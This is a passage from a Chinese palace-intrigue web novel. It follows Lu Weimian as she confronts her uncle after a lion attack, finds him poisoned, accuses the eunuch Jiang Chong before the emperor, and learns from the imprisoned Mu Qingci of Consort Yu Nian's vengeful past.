封行渊眼底染上了血腥的光,笑她,“怕了?一只畜生罢了……” 鹿微眠说话带了哭腔,却说了一句,“你疼不疼啊?” 封行渊脸上轻快地笑意缓慢敛起。 听到她又颤着声问,“为什么会吐血呢?” 空气中有片刻的凝滞。 四周只剩下禁军侍卫将雄狮与人拉开的混乱声。 将他们隔绝在外。 封行渊没有染血的手轻拍她的脊背。 他低头深嗅着她身上的茉莉香,没有回答她的问题,而是说了一句,“别怕。” 大殿里外一片忙乱。 参加宴席的朝臣已经被清散干净,宫人忙着收拾一片狼藉的宴会。 鹿微眠和封行渊和一些受伤的朝官被送到韶光殿偏殿的厢房里安置。 皇帝亲自来看。 屋内人听见圣驾降临,接连起身相迎。 皇帝抬手示意,“不必多礼,都坐。” 他走到封行渊面前,先看了一下他身上的伤,立马吩咐下去,“去叫褚御医前来。” 宫人应声,“是。” 封行渊觉得没有必要,“不过是些皮外伤。” 皇帝制止他的推脱,“到底是猛兽所伤,谁知那爪牙里面有没有不好的东西,还是看一下放心。” 封行渊的身体不怕毒。 他的血,本就可以解百毒。 即便是生病,通常不过一日就自行好转。 皇帝简单看了一下情况,重重地叹了一口气,转头厉声问着,“好好的驯兽礼怎么会如此?不是说都驯好了吗?” 屋内门口驭兽师跪在地上,“陛下明察啊!咱们往年的驯兽礼一直是很顺遂的。” “即便是今年的前几日驯它也是好好的,今天其实也没有问题,就是不知道怎么的,走到封夫人身边,它就突然发了狂。” “这,这与我们无关啊。” “陛下您熟悉猛兽您也知道,这就算是驯得再温顺的猛兽,要是碰上了一些能刺激它发狂的东西,它根本控制不了自己。” 皇帝听着也有些道理,“卫沉!” 卫沉上前,“臣在。” “你清查宴席,盘问布宴宫人,可有查到什么?” “眼下还没有查完,”卫沉低头回禀,“不过有一点很可疑,封夫人扔出来那个瓷罐,里面装的是山沉子,但其他人桌上的瓷罐全部都是椒盐。” 驭兽师像是抓住了一根救命稻草,连胜高呼,“陛下!山沉子对于老虎、狮子、猎豹这类动物有很强的刺激性,我们在驯兽时都会刻意避开这些东西!是谁这般狠毒,在宫宴上下如此毒手!” “这不仅是要封夫人的性命,还是想要奴才的,还有这些个禁军官爷的啊!” 皇帝勃然大怒,“好端端的上元节晚宴,竟成了这些人徇私的闹剧,真是不把朕放在眼里。” 他沉着脸,伸手拍了拍封行渊的肩膀,“爱卿放心,此事,朕一定会给你和你家眷一个交代。” 封行渊简单一句,“谢陛下。” 并无再多言语。 皇帝又吩咐两句,面色凝重地从屋子里出去。 不多时,褚裕奉旨前来帮封行渊处理伤口。 鹿微眠坐在旁边,看着他的手,眼睛红彤彤地。 褚裕宽慰着鹿微眠,“阿眠别担心,封大人这都不是要紧伤。” 封行渊在听到那声“阿眠”时,抬眼打量了褚裕一番。 褚裕一看这伤口便知,“不过这手上刀口向下,这般深,是大人你自己划的?为何如此?” “废……”封行渊瞥见鹿微眠也担忧地等他回答,顶到嘴边的“废话这么多”,换成了,“费心了。” 他随口一编,“我不过是把刀拿反了而已。” 褚裕专注于处理伤口,“这伤口要好生养护,不要提重物,不要碰水,还好是年关,若是夏日这么深定会感染。” 他又叫鹿微眠,“阿眠,你过来。” 封行渊又慢条斯理地看了他一眼。 鹿微眠还真就乖乖过来了。 封行渊有点气闷。 谁叫她阿眠,她都这么乖宝宝吗? 鹿微眠只是在担心封行渊伤势。 毕竟正常人,谁会这种时候吃飞醋。 褚裕跟她讲述着,封行渊身上各处伤口该用什么药,怎么换药。 只要顺利结痂了,就不用担心伤口恶化。 鹿微眠一一记下来。 正好屋外,贾琏压着一个太监从屋外走进来,一脚将小太监踹了进去,“大人,找到了。” 小太监连滚带爬的进了屋,口中高喊着,“大人冤枉啊,奴才不知什么是山沉子,只是按照贵人吩咐的添加调料罢了。” 贾琏又踹了他一脚,“什么狗屁调料,只给一个人用。” 小太监被踹到在地,又立马爬起来,“这,这拿钱办事,我们哪里能管这么多……” 卫沉听不了那么多废话,“赶紧说,是谁吩咐的你。” “是叶侯爷!是他,都是他指使的!” 屋内众人听着小太监的话,齐齐皱眉。 褚裕第一个看向鹿微眠,“侯爷,不是你舅舅吗?” 鹿微眠听到是叶霖,一点也不意外,“说来话长。” 鹿微眠看向卫沉,“他现在在哪?” “侯爷他目睹女儿被那雄狮……”卫沉不好当着鹿微眠的面,说出太血腥的话,“当场晕过去了,眼下就在宫里安置着。” “你们去回禀陛下吧,”鹿微眠眼帘压低,“等叶霖醒来,我再去找他。” 贾琏问,“你找他做什么?” “有些事情得问清楚。” 人死之前通常不会留秘密,她若是能顺便让他招出前世毁大坝沉城的原因,招出姜崇,一并告知帝王,兴许那一切就已经被改变,不会发生了。 何况她也想知道,到底为什么舅舅一家前世要踩着他们家的尸体上去。 褚裕教着凌一给封行渊包扎伤口,临走前也给鹿微眠留了药,“阿眠,这个是安神的,你今晚受了惊还是好好休息,你身体本来就弱,也别太担心。” 鹿微眠跟他道谢,送他出了房间。 关上门时,屋内就只剩下了他们两人。 封行渊突然一句,“阿眠,过来。” “啊?”鹿微眠走回床榻边,看他,“怎么了?” 他阴阳怪气地,“没怎么,阿眠。” 鹿微眠听出来了,“你干嘛呀。” 封行渊拖腔带调地,“他叫你叫得好亲啊。” 鹿微眠懂了,“褚裕哥哥是来给你看伤的,你不要这样。” 封行渊挑眉,“褚裕哥哥……” “这都是小时候叫习惯了,没有别的意思。”鹿微眠坐在床榻边,“好啦,我以后不这么叫了。不过褚裕哥……褚裕真的是很好的人,你不要误会他。” 封行渊觉得他身上的伤很不是时候。 比如现在,他想欺负欺负她。 塞东西的那种欺负。 鹿微眠不知道他在想什么,只是在他安静下来之后,坐在他腿上环住他的脖颈,将他抱住,“不要闹,给我抱抱,阿渊哥哥。” 封行渊微哽。 完了,更想欺负了。 想把自己塞进去。 时至深夜皇宫中安静下来。 但许多人仍然彻夜难眠。 鹿微眠刚喝了安神汤,屋外传来敲门声。 是褚裕来告诉她,“叶霖醒了。” 鹿微眠应了一声“好”,转头跟封行渊支会一声,“我先出去一趟,你在这里等我回来?” “不行。”如此一遭,封行渊不可能允许她这么晚自己出去,“我跟你去。” 鹿微眠原是想着他身上有伤需要养,但见他坚持,也没有拒绝。 正月十五夜里寒凉,鹿微眠拢好自己身上的斗篷,跟着卫沉他们一并前去看押叶霖的屋子。 褚裕前来迎他们,说是刚刚陛下来过,叶霖跟魔怔了一样,什么都说不出来。 陛下就让人先把他软禁起来,等清醒了审问。 房门打开,宫人示意他们可以进去。 但是人不能太多,让叶霖受更大的刺激,最多两个。 而且时辰不能过久,只能一刻钟。 鹿微眠先和封行渊进门。 叶霖头发凌乱,抱着一个枕头缩在墙角,听见他们进来,不由得抓紧了手里的枕头,像是将那个枕头当做了防身的武器。 叶霖一双污浊的眼睛牢牢跟随着鹿微眠,“你,是你……” “舅舅。”鹿微眠朝他走过去。 叶霖举着枕头将她挡开,“你别过来!” 鹿微眠停了下来,没有继续往前走。 叶霖目眦欲裂,“是不是你!你不是你让那头狮子去咬死了娴儿!” “它明明都被我安排好了,即便是不咬你,也不该咬娴儿才是!” 鹿微眠看着他,“母亲曾说,舅舅最疼我了。如今为何要对我下此毒手?” “疼你?”叶霖仿佛听到了什么笑话,“是啊,舅舅最疼你了。” “那是因为舅舅不去讨好你们家,舅舅什么都不是!” “他们都看不起我,说我是废物侯爷,可我那好姐姐又会什么?她不过是嫁得好了一点!你们这些人都说我依仗着她过活!” “都说我吃父母的家产,吃姐姐的软饭。” “可是那帝王不敢重用我!怕我叶府势大让淑妃众矢之的,牵连出皇家后宫那些腌臜事!是我自己愿意闲散吗?!” “只有你母亲嫁去别人家不受牵制,吃尽好处。我哪里需要依仗叶绾了,我自己也可以过得很好!我也可* 以比你们好一万倍!” “你们都逼我,你们都不想看我好!你们……”叶霖站不稳,踉跄几步,跌坐在地上,“你们都想看我笑话!” 鹿微眠凝眉,“可我们什么都没做,你要什么家里接济你什么,即便你觉得我们看不起你,那也不该用血亲性命做的垫脚石!” “不然我能怎么办?”叶霖扬声,“这京城里,谁不是踩着别人往上爬。” “陛下不用我,只有太子殿下肯给我机会!他还给了我女儿玉印,他想要娴儿做皇后的!” “我们家日后前途无量,这些都被你毁了!” 叶霖咬着牙,指着鹿微眠,“你,你今晚,还杀了娴儿!” “你不也一样用血亲的性命……” “若是你们都不顾我的死活,我为什么要一味的顾念亲情?”鹿微眠听来他简直强词夺理,“何况根本不是慕青辞给你机会,是他身边的掌事太监姜崇冒充他,对你们发号施令!” “你以为自己占了便宜,想要拿我们做垫脚石,实际上也不过是他人的棋子罢了。” 叶霖完全不能相信,“你胡说!你如今来不就是想让我难堪,你骗我,我知道!” 鹿微眠一听就知道叶霖多半也被姜崇蒙在鼓里,“舅舅你难道不想一想,你以为攀上了太子,可慕青辞与你相见过几次?” “哪一次不是姜崇与你相见!” 在慕青辞后来告知她的事情中,他知道侯府在帮他做事,但那也只是几十条暗线中的一个而已。 他根本就没怎么接触过侯府。 事情交给下面人去办,他只看结果。 “虽然是……”鹿微眠的话,像是让叶霖意识到了什么。 他忽然间语塞,眼底带过茫然,怔怔地看着鹿微眠。 好像的确,见他的永远是姜崇。 而且每次他宴席上想要与太子亲近时,慕青辞看他都跟陌生人一样。 他还以为是因为他们之间的关系不好摆在明面上,也就自以为懂事地没有再刻意亲近。 可姜崇是太子身边的人,没有人怀疑过他! 鹿微眠平复心绪,“舅舅,你被骗了。” 叶霖有些慌了神,“不可能啊……” 他无法接受这两年,他堂堂一个侯爷,竟然在为一个太监做事?! 屋外有人敲门催促,“时辰到了。” “可不可能的,你好好想一想,”鹿微眠打断他的废话,“眼下你已经无路可退了。明日面圣,你若愿意与我一同指认姜崇,说出他做的所有事情,这一切兴许还有回旋的余地,侯府不至于全部抄家流放。” 鹿微眠说完,带着封行渊从屋内离开。 封行渊站在旁边听着姜崇这个名字,有些熟悉。 他曾经在东宫,的确对这个小太监有印象,也知道姜崇跟着慕青辞胡作非为。 但那只要不牵扯到他,他从来不关心。 眼下听着鹿微眠的意思,好像有点奇怪。 姜崇有时做事,并非按照慕青辞的指令。 “你方才说……”封行渊才开口,就看见那边鹿微眠已经钻进被子里睡着了。 封行渊眉梢微扬,噤声走上前灭了灯盏。 但许是有心事,清早卯时三刻,鹿微眠从睡梦中醒来,封行渊早就起来跟着禁军侍卫查证昨晚的事情。 她看着外面的天色发了一会儿呆,眼下并不到皇帝安排会面的时间,直到暮云进来叫她,“夫人,侯爷说愿意配合您指认姜崇。” 鹿微眠一下子坐起身,“真的?” 暮云点头,“真的。” “扶我梳洗,我去找他面圣。”鹿微眠下床,赶忙梳洗整理好自己就出了门。 昨夜的事情闹得喧嚣不止,皇宫大内清早也不算安宁。 韶光殿还是来来往往来清查的禁军侍卫。 有人也一夜没有合眼。 鹿微眠跟随宫人指引,再度到了叶霖软禁的房间门口。 房门推开,屋内一片沉寂。 领路的宫人走在前面,一面带鹿微眠进去,一面叫叶霖,“侯爷,封夫人到了。” 屋内并没有人回答她。 这让两人皆有些不解。 宫女脚步快了些,刚走到里面,忽然尖叫一声! 鹿微眠心下一紧,绕过屏风发现叶霖静躺在床榻上,口中鲜血溢出。 鹿微眠快步上前,“舅舅,舅舅!” 叶霖身上还没凉透,但已毫无反应,没了气息。 旁边宫女惊得身子紧贴着墙壁不敢靠近。 鹿微眠回头询问,“刚刚不是还好好的?” “是,是啊,”宫女磕磕绊绊地解释道,“方才侯爷还说,把您叫来,他与您交代。” “他说,他一晚没睡,眼下补补眠就去,这,这……这屋子里刚刚也没有进人啊,我们都看着呢。” 鹿微眠环顾四周,忽然间闻到了些不同寻常的香料气息。 是昨晚她来没有的。 鹿微眠一下子看到床头放着的香炉,她几步上前,里面的香料焚烧殆尽,还有余热。 补眠……香料。 鹿微眠不知怎么的,忽然想到聂婵跟她提过的一种毒香。 在睡梦中死亡。 是谁?! 鹿微眠命人收起香料,快步离开。 她出门碰上回来的封行渊,催促着他,“你现在有空吗?” “怎么了?” 鹿微眠压低声音,“去侯府,把我舅舅、舅母的亲信,全部藏起来!尽快!” 封行渊听着她的话离开。 鹿微眠独自赶去乾正殿门口,“我要见陛下!” 紧接着她身后响起一道熟悉的温和嗓音,“封夫人这是怎么了,为何如此着急?” 鹿微眠回身,看见那貌美如仙人的淑妃娘娘迎面朝着她走过来。 那姜崇,就站在虞念身后! 虞念走上前,还关切道,“昨晚受了惊吓可休息好了?” 鹿微眠的视线在她与姜崇之间打了个来回,秀眉轻蹙,呼吸也稍显混乱,“劳娘娘挂心。” 她紧紧盯着到现在为止还安然无恙的姜崇,“娘娘为何跟姜公公一同来了?” 虞念随口道,“听说你今日叫他来御前,有些事情要跟陛下交代,本宫也就一起来了。” 鹿微眠秀眉轻蹙,看着她的反应,“娘娘曾与我说,要探查姜崇的底细,找到幕后主使。臣妇冒昧地问娘娘,如今娘娘可有眉目了。” 果然。 虞念弯唇,“有吗?本宫不记得。” 第52章 离开 虞念不再遮掩。 鹿微眠浑身上下一阵恶寒。 她一瞬间明白, 虞念当初那些话,不过是些拿来哄她的托词。 虞念为什么能听她一两句话,就能将姜崇的目的, 还有幕后主使的事情理顺,无非是因为—— 她就是那个幕后主使! 难怪即便是她给自己姜崇的一些物证,都是些已经被交代过的事情。 鹿微眠难以置信地看着她。 “怎么, 生气了?”虞念朝鹿微眠伸手, 看方向是想要摸她的脸。 鹿微眠侧身躲开, 虞念的手便悬在半空中,“许是平日里操劳, 本宫忘了事情也是在所难免。” 她像是一个和蔼可亲的长辈在哄她, “你今日大费周章,是想说什么事, 不如先跟本宫说说看?” 鹿微眠觉得这件事可笑。 她当初还担心虞念会因为姜崇而遭受算计或者伤害,像是个笑话。 鹿微眠移开视线,听见里面掌事太监叫他们进去, 转身先进了乾正殿。 一旁虞念的侍女不由得道,“见娘娘并未行礼,还先入宫殿,封夫人有些失礼了。” “罢了, 小孩子而已。”虞念并不生气,仍然笑意温和, 看着鹿微眠离开的方向,“其实本宫在这一辈里, 最喜欢这个孩子。” 她说着踏进殿中。 鹿微眠已经将罪证和那一坛燃尽的香呈到了御前, 指证姜崇。 皇帝翻看着证物,“你是说, 姜崇曾多次以太子之名,结党营私,勾结外戚,多次设计损毁江南防汛的大坝工程。” “如今怕被招认,还下毒暗害了叶侯爷。” 皇帝话刚说完,虞念就将人带了进来,“既然如此,陛下就审审吧。” 她说着走上前,坐在皇帝旁边的位置上。 皇帝问她,“你怎么还亲自来了?” “臣妾身边的人受指认,臣妾当然得来。” 鹿微眠看着眼前的光景,心下凉了半截。 淑妃在皇帝心中的位置人尽皆知,她一进来就表明了姜崇是她身边的人,皇帝难保不会因此偏袒。 大概是从方才在大殿门口撞上他们,鹿微眠就觉得此行应当是竹篮打水一场空。 “臣妾只是觉得,区区一个太监,如何能做得了这般事情。”淑妃望着鹿微眠,“许是昨夜封夫人吓着了,所以有些癔症。” “昨夜一事,臣妇的确受了惊吓,事关性命,没有人比臣妇如今更加清醒,昨夜臣妇前去盘问舅舅为何下次毒手,他与臣妇交代了许多。” “他以为是太子殿下给了他建功立业的机会,因此暗中勾结,收受贿赂,只盼着日后太子登基给他个好前程。” “可这一切都是姜崇隐瞒太子,私自下令。” 皇帝看着鹿微眠,“他为何要私自下令?” 鹿微眠敛眸,就差直言不讳点名道姓,“许是身后还有旁人指使。” 虞念平静地与她对视,转头问姜崇,“那你说说吧,是谁指使你?” “启禀陛下,”姜崇跪在大殿上,声线平稳,仿佛自己不是在接受质疑,而是回禀一件稀疏平常的事情,“奴才曾经的确受太子殿下蒙蔽和威胁,做了许多错事,这些事情,奴才从前已经交代过很多遍了,陛下应当都有印象。” “只是奴才不知,为何今日封夫人要旧事重提,竟然把太子殿下的过错都推到了奴才身上。” “你既然坦荡,那为什么怕叶霖活着前来指认你?”鹿微眠看着他,“不仅如此,周喆也是,他好端端地招供,为什么没说出什么来就咽了气。” “而他的小妾被灌了毒药成为聋哑人,画出来与周喆来往的人,是你不是慕青辞。” 姜崇看着她,“夫人如何确认叶霖是我让他死无对证的?” 鹿微眠忽然抓住他的手,“叶霖死于毒香,你的手上,有同样的香粉味道。” 姜崇抬眼,阴柔妖冶的眉眼扫过眼前少女脸颊。 鹿微眠问他,“是不是你一验便知,你敢不敢验?” “这满宫用香料之人多了去,淑妃娘娘爱用香料,奴才手上沾染香料,应当不是什么稀奇事。”姜崇伸手,“夫人若想验,请便。” “好了。”皇帝打断了他们的对话,示意身边的随侍太监,“带姜崇下去验香。” 他翻着手上的证物,“有劳你费心,这些东西朕会认真看过,以作决定。” “昨夜的事情,让你受累了。”皇帝询问着她,“这一晚休息得可好?” 鹿微眠听着这突然被调转的话锋,动了动唇,也不好当众反驳皇帝的话,“甚好。” “其实朕本身也只不过是想要帮你查清楚,昨夜是谁想要暗害你,如今的确查到了是叶霖,他和他女儿也得到了应有的报应,你也可以先放下心来。” 皇帝劝解着,“你放心,此事也不会因此揭过,朕会对侯府量刑,监察司已经调了抄家令。会给你一个交代。” 鹿微眠以为是自己想多了,听着皇帝此言有些转移话题、息事宁人的意思。 皇帝继续道,“有何不适,尽管与下面人吩咐。朕瞧着你眼底发黑,应当是没有休息好,先回去休息吧。” 鹿微眠不知道她为什么还没说两句话,就要再这个时候赶她走,“陛下,您雄才大略,应当听得出来,臣妇所禀明的这些事情比昨日的事情要严重许多,这才是要紧的。” “朕知道你着急。但是即便是大理寺论罪,也得有几天核实的功夫。”皇帝安抚她,“你总不能一直在这里等着核查姜崇的罪名。” 鹿微眠凝眉,“我不是一直要等核查罪名,其实姜崇如何我不在乎。陛下,我在乎的是我的家人朋友!我在江南修缮水坝的父亲!还有这京城安宁!” “姜崇什么罪名一点都不重要,重要的是他们到底想要做什么,他们是想毁了谁,毁了哪里,让谁不得安宁,让多少人家破人亡这些才要紧!” * 皇帝看着鹿微眠从大殿内离开。 静默无声直至四下无人时,才开口,“这是你做的?” 虞念不甚在意,“陛下指得哪一条?当初姜崇安插在慕青辞身边,是你提的。” “当年景怀被慕青辞下毒突发恶疾,险些丢了性命,我又要依仗皇后家族不能轻举妄动,才准你送人过去盯着。”皇帝没有否认,翻着手上证物,“我授意你选一个聪慧机灵的,可没让他做这么多事。” “他做的事情不多,怎么能顺了陛下的心意,喂大慕青辞的野心,又让他处处落败,好顺理成章地撤下他的太子之位呢。” 皇帝噤声。 “何况他方才也说了,这里面很多事情都是慕青辞指使。”虞念慢条斯理道,“鹿微眠曾是慕景怀私定的太子妃,臣妾很难不怀疑,她把过错都推过来,洗清慕青辞的罪过,别有用心。” “她与封轸奉命捉拿慕青辞这么久都没有动静,该不会是找到了,但是余情未了,找一个人承担所有罪过,好让慕青辞回来。” “其他事情暂且不提,”皇帝看着她,“你当真不知道这江南水坝,还有这些有损民生的事?” 虞念淡然自若地迎上他的视线,“慕衍,你怀疑我。” “我从你计划夺位的时候,就背叛你父亲,陪你到如今,”她起身,“你要是真怀疑,我为祸百端,是个妖女,可以杀了我啊。” 虞念像是浑然不在乎生死一般,永远能将自己的死亡轻而易举地宣之于口。 皇帝凝眉叹了一口气,将那证物堆在旁边,没有再看。 虞念说得没错。 岂止姜崇是他授意安排的。 连慕青辞反,都在他的计划之中。 皇后一族日渐招摇,自恃功高盖主,强要了太子之位,他本就忌惮多年,这是其一。 当年慕景怀因慕青辞差点没命,他该给淑妃一个交代,这是其二。 慕青辞心狠手辣、为人阴毒,作为掌权人又不识良臣,任用歹人,若是日后慕青辞称帝,那慕景怀与淑妃自然不会再有活路,这江山也未必稳当,这是其三。 他早就知道,慕青辞接替帝位,绝无可能。 只需要一个借口。 后来这个借口出现了。 封轸回京后,他默许司天台所指星象,将慕青辞准备谈婚论嫁的小姑娘指给了他的宿敌。 他在逼自己的亲儿子谋反。 杀兄弑父他当年都是和虞念一起做过的,这种事情,也没有什么难。 好在慕青辞再坏也没有经验,轻而易举地被他挑拨。 慕青辞不再伪装,开始明面上与他对抗,处处找封轸的毛病,他都看在眼里。 封轸与慕青辞积怨已久,定不会容忍,隔山观虎斗,坐收渔翁之利的是他。 围猎之后,添油加醋暗示慕青辞谋反的也是他。 大概是愧疚,他才没有在听说慕青辞谋反落败逃跑之后,穷追不舍。 如果封轸可以默许慕青辞不死,那他这个做父皇的,也没有什么不可以。 他很早就知道皇家比任何地方都适用丛林法则。 人情凉薄,任何人都可以是棋子,是垫脚石。 弱肉强食、铲除异己、适者生存。 慕衍如今只是觉得,他好像老了。 很多事情好像渐渐不在他的谋算之中。 他也该有报应了。 * 封行渊回到宫苑去找鹿微眠的时候,房间里早已空无一人。 他询问前来收拾的宫人。 宫人拿着整理出来的床褥用具,回道,“令夫人刚刚出宫,走了没有多久。” 封行渊了然,往外走。 走到御花园一处,他手里把玩的短刀径直飞了出去。 丛林后面,虞念握着那把刀从碧梅深处走出来,“你杀不了我的,孩子。” 她将短刀放在旁边石桌上。 “咔哒”一声,“趁着你的小夫人不在,收起来吧。” “免得让她发现你这般嗜杀,多不好。” “抱歉,”封行渊眼底氤氲着血腥微光,慢声笑道,“淑妃娘娘来,我以为是来找死的。” “我来给你送药。”虞念顺势放下一瓶药,“强行控制他人灵魂,你内伤怕是不小。” 封行渊满不在乎,“你又知道了?” “那是自然,”虞念笑了,“毕竟你的摄魂术,是我教的。” 虞念放下药,看着他身边并无鹿微眠的身影,“阿眠受惊了,今早找陛下好一顿告状。” “你回去好好安抚她。” 封行渊并不搭理她,正要走。 虞念又道,“昨日的事可不是我。” “看起来不是你,但这不就是你想要的吗?” 虞念也不否认,嗓音愉悦,“也是。” 的确。 叶府姐弟两家自相残杀,是她一直以来都很想看到的。 她实在是恨毒了叶府,也恨毒了这大郾王朝。 叶府的人毁了她,大郾的人毁了她的家乡。 都该死。 她得让他们都尝一尝,被毁掉的滋味。 “即便如此,我做的一切也都是为了西陵。”虞念走上前,“别以为我不知道,你将炸城的火药换成了烟花。” “昨晚殿下看到了吗,长安城上元佳节万家灯火、富庶安康,那都是用我西陵的血换来的。” “我没有忘记自己要做什么,希望殿下也不会。” 封行渊并不吃这一套,“要做什么我很清楚,就算不换成烟花,我一开始也没有想过炸城。” 他的做事原则一直很简单,人不犯我我不犯人。 只有威胁到他生存的人,他从不手下留情。 “西陵无辜之人的血,不需要另一群无辜的鲜血来偿还。除非是无能,连找真正的罪人算账都做不到。” 虞念那明丽双眸看着封行渊离开的背影,手里还握着他并未拿走的药,长叹一口气。 罢了。 殿下尚且年轻。 她年轻时也这般天真。 有些事情还是她自己来,不能让他知晓。 总有一天,他会感谢她为他铺好的路。 * 昏暗阴冷的地牢之中,冬日冷光顺着头顶的一小方天窗斜斜打落,落在男人青灰色衣衫上,清脆的棋子落玉盘的声音时不时地响起。 敲得狱卒昏昏欲睡。 直到牢房外面传来门锁被打开的声音,狱卒才一个激灵站直了身子。 随着大门打开,带进来外面明媚的天光,一个不常出现在这里的身影,跟随日光一同出现在门口。 慕青辞手里捏着一枚棋子,看着她进来,手上动作一停。 鹿微眠提着裙摆走下石阶,径直朝着他的方向走过去。 醒过神来的狱卒帮鹿微眠打开牢房大门,示意她进去。 鹿微眠看着慕青辞面前的棋盘,“这般闲情雅致?” “你才是闲情雅致。”慕青辞看她在自己面前坐下,“怎么想起来我这里了?” 鹿微眠顺手拿起了旁边的白色棋子,许久没有说话,只是看着他面前的棋盘。 然后选了一处落子。 慕青辞能感觉到她心情不好,甚至可以说很差。 他也不言语,随着她下棋的动作跟棋。 不知下到何处,鹿微眠才出声,“姜崇是淑妃的人。” 慕青辞沉吟片刻,“大概是我母后常与我说淑妃的坏话,姜崇在我身边做叛徒,我也猜到过与淑妃有关。” “现在的局面,我看不懂了,你能不能告诉我一些,你在宫中知道的事情。” 按照前世的记忆,鹿微眠原本以为事情不过简单的解决掉所有的隐患就好。 可现在她好像发现,真相超出了她的预计。 她以为前世发生的一切都只是他们错信奸人,走错了路。 所以她很努力地在找身边的小人,将他们一个一个铲除解决。 可现在才意识到,有些事情不是一个人两个人的改变可以决定的偶然结果。 而是一场必然的结局。 她的所有选择,好像都与那场灾难,没有直接的关系。 她似乎只是被灾难裹挟着往前走的其中一个,很小的存在。 被灾难影响了命运的万千分之一。 慕青辞听着,“今日发生了什么?你说说看,兴许有我知道的隐情。” 鹿微眠停顿了一下,“我今日情急,去揭发了姜崇。带着你给我的物证,还有我从前收集到的所有东西。” “大概是太过着急了,所以当时我还担心你父皇会问我,哪里来的这些证据,我不好交代是你。” “但是他连这个都没有问,不过是说了两句话,表示他知道了,就让我走了。也没有处理姜崇,也没有怀疑淑妃。什么都没有。” 这不是一个正常的审讯和查清真相的反应。 只有可能是,他根本不想查。 在那一瞬间,鹿微眠忽然觉得,她曾经坚持过的很多事情都没有意义。 慕青辞捏着手中的棋子,在棋盘上轻轻点动两下,“我父皇看着性情宽厚温和,实则城府极深。否则也不能在多年前夺嫡中,从最不受重视的皇子,跻身到龙椅之上。” 这些天慕青辞在这地牢里,将过往的一切想清楚,也不难察觉其中的很多疑点。 他最不能想通的就是,为什么他父皇执意要把鹿微眠嫁给封轸。 所谓天象借口,是最讽刺的。 慕衍这个人何时信过天象,信过命。 他但凡相信天象,就做不出杀兄弑父的事情来。 也是自从婚事被毁那时开始,慕青辞所以为尽在掌握的一切开始失衡。 直到后来他身陷必输的棋局里。 他很难不怀疑父皇毁掉他婚事真正的目的。 “我父皇也不是什么仁善之辈,从不会留有威胁之人在身边。” “若他知道姜崇有威胁,但却迟迟不动手解决,只有一种可能,他知道姜崇是淑妃故意安插在我身边的。” 鹿微眠想不通,“可是姜崇做的有些事,也会对朝廷对他有所损害。” “那就是,淑妃隐瞒了自己的一些真实意图,但找到了她和父皇的共同利益驱使之处,安排姜崇在我身边做眼线,姜崇一半做他们两个共同的线人,另一半做她的线人。” “说起来这位淑妃娘娘也不是善类,我母后与我讲了许多,”慕青辞眼下没有什么好隐瞒的,因此也就全盘托出,“这位淑妃娘娘算是你名义上的姨母,最早是进献给我祖父的兰昭仪,祖父很喜欢,一度盛宠。这些你们自家应当也知道。” 鹿微眠点头。 “她还是兰昭仪的时候,她的母族出了一场大事,北襄南伐,打到了西陵边关。” “她求我祖父出兵援助,我祖父的确也派兵到了西陵,但不知如何与北襄谈判,放弃了援兵。” “西陵就此亡国。” “要说如此便也罢了,后来北襄朝拜大郾,奉上了西陵两座城池和无数金银财宝。才知当年我祖父与北襄谈判,是默许北襄入侵西陵,甚至提供武器和补给,日后给他朝贡,做臣子国。” 鹿微眠一时心惊。 要论这种事,不帮兴许是基于国力等等原因,也就罢了。 但是为了瓜分战败国的好处…… “当时也只是大家私下议论,以为兰昭仪会失宠,没想到她只不过是生了两月的病,调养好后,荣宠更甚,众人都说我祖父是愧疚。也就是那会儿,才大封了侯府。” 鹿微眠听着,这无异于是拿虞念母族性命,换来的侯府殊荣。 “但是那件事发生了没一年,我祖父就离奇暴毙身亡,叔伯争了个头皮血流,最后谁都没想到是我父皇赢了。祖父遗旨要没有子嗣的宫妃殉葬,尤其点明要兰昭仪殉葬。” “起先我母后没有把她当回事,直到我父皇登基两年后,他身边出现了个一模一样的淑妃娘娘。我母后才心生忌惮。” “但此事不能出口,是大祸患,因此她也就只能关起门来说一说。” “个中缘由,恐怕也只有知晓内情的人心下有分寸。” 慕青辞说完。 鹿微眠沉默了很久,“那西陵如今……” “北襄吞并西陵几年后,贼心颇大,渐渐不愿意朝贡称臣。也是看我父皇登基后根基不稳,又盯上了我们。隔三差五在边关搞小动作。” “时机成熟后。我父皇出兵,重创北襄,将北襄边境倒退千里。”慕青辞停顿了一下,大概是不想提,但也不得不提,“封轸被派遣出征的边关,就是那里。那场仗,是他打的。” “现在北襄半死不活,西陵属地被北襄侵占,多年战争,如同废墟,也没有归属,内部族群时不时会掀起动乱争权。与战火纷飞的不眠之地无异。” “所以你现在看京中,才有这么多西陵人。” 鹿微眠听着慕青辞的话。 大致理清楚了淑妃的态度和想法。 因为家园被毁,母族被屠,所以记恨到了大郾。 这种事情。 果然是她再怎么如何努力,都无法从根源上解决的。 难怪她总是觉得阻力这么大。 鹿微眠眉头紧锁,却很是无力,“可这些和我的父母家人有什么关系,和江南百姓有什么关系。” 要他们去还恶人的贪婪孽债,好没有道理。 但大抵是人在仇恨的时候,根本不会在意什么是非对错。 只想要血债血偿。 鹿微眠想到了什么,“我还有一个问题。” “如果,淑妃自己都死于自己制造的灾难中,她是为了什么?” 鹿微眠记得很清楚,淑妃死于那场沉城洪水。 后面听说,捕捞也找到了他们的尸身,后面也没再听过他们,大概率没有假死的可能性。 慕青辞乍一听觉得不太合理,但仔细一想,一个想要毁天灭地的人,八成早就没有了对世间的留恋。 “大概是解决了执念,就不再有求生的意愿。” “她死了,慕景怀也死了,那这一切的意义难道……” 鹿微眠话说到一半忽然顿住! 她猛然间意识到,淑妃该不会是给那个强夺她的反贼铺路! 她记得,那个人也是西域人。 鹿微眠凝神细思。 淑妃与聂婵是同党,都来自西陵。 她印象中聂婵的服饰格外熟悉,如今想来,那分明就是那个人给她穿过的服饰种类! 他也是西陵人?! 淑妃完成了自己的夙愿,毁掉了大郾大半兵力,又甘愿自毁。 剩下的一切,就等那个反贼杀入京城称王! 所有的事情都串联起来,如同一个巨大的网,将鹿微眠网罗在其中。 她一瞬间有些喘不过气来。 慕青辞看她神色忽然慌张起来,不由得凝眉,“怎么了?” 鹿微眠攥紧手里的白玉棋子,平复了许久心绪之后,将棋子放下。 坦白道,“我,有点害怕。” 她本以为事到如今,应当不会有反贼入京的机会。 可是这么理下来,那一切还是会发生。 所有的事情,除了细节有所改变,人物方式有所改变。 可方向却没有变。 “倘若,她是给自己身后的反贼铺路,那日后……” 她害怕自己这么努力,还是改变不了结局。 慕青辞握住她紧握成拳的手,与她说了这么多,他大概也对现在的情况有了概念。 “别怕,若是日后封轸护不了你,我可以带你和你的家人离开。” 